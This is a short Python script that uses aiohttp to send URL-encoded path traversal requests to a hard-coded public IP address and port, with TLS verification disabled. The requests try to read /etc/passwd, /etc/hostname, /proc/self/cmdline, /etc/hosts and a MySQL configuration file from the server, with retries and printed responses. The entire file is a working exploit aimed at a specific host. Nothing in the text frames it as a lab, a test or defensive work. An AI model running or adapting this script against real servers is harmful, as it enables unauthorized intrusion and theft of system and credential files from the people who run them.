import asyncio, time
import aiohttp

IP, PORT, SC = "13.202.79.242", 9191, "https"
UP = "%2f" + "%2f".join([".."] * 12)


def enc(p):
    return p.replace("/", "%2f")


async def main():
    tout = aiohttp.ClientTimeout(total=20, connect=8, sock_read=15)
    conn = aiohttp.TCPConnector(limit=0, ssl=False)
    async with aiohttp.ClientSession(connector=conn, timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as sess:
        for attempt in range(1, 4):
            for p in ("/etc/passwd", "/etc/hostname", "/proc/self/cmdline"):
                url = f"{SC}://{IP}:{PORT}/?/{enc(UP + p)}"
                try:
                    async with sess.get(url, ssl=False) as r:
                        t = (await r.content.read(3000)).decode("utf-8", "replace")
                    print(f"try{attempt} {p} -> {r.status} len={len(t)} :: {t[:80]!r}")
                except Exception as e:
                    print(f"try{attempt} {p} -> ERR {type(e).__name__}")
            await asyncio.sleep(3)
        # variant without leading slash in path
        for p in ("/etc/hostname", "/etc/hosts", "/etc/mysql/my.cnf"):
            url = f"{SC}://{IP}:{PORT}/?/{enc(UP + p)}"
            async with sess.get(url, ssl=False) as r:
                t = (await r.content.read(3000)).decode("utf-8", "replace")
            print(f"v2 {p} -> {r.status} len={len(t)} :: {t[:80]!r}")

asyncio.run(main())
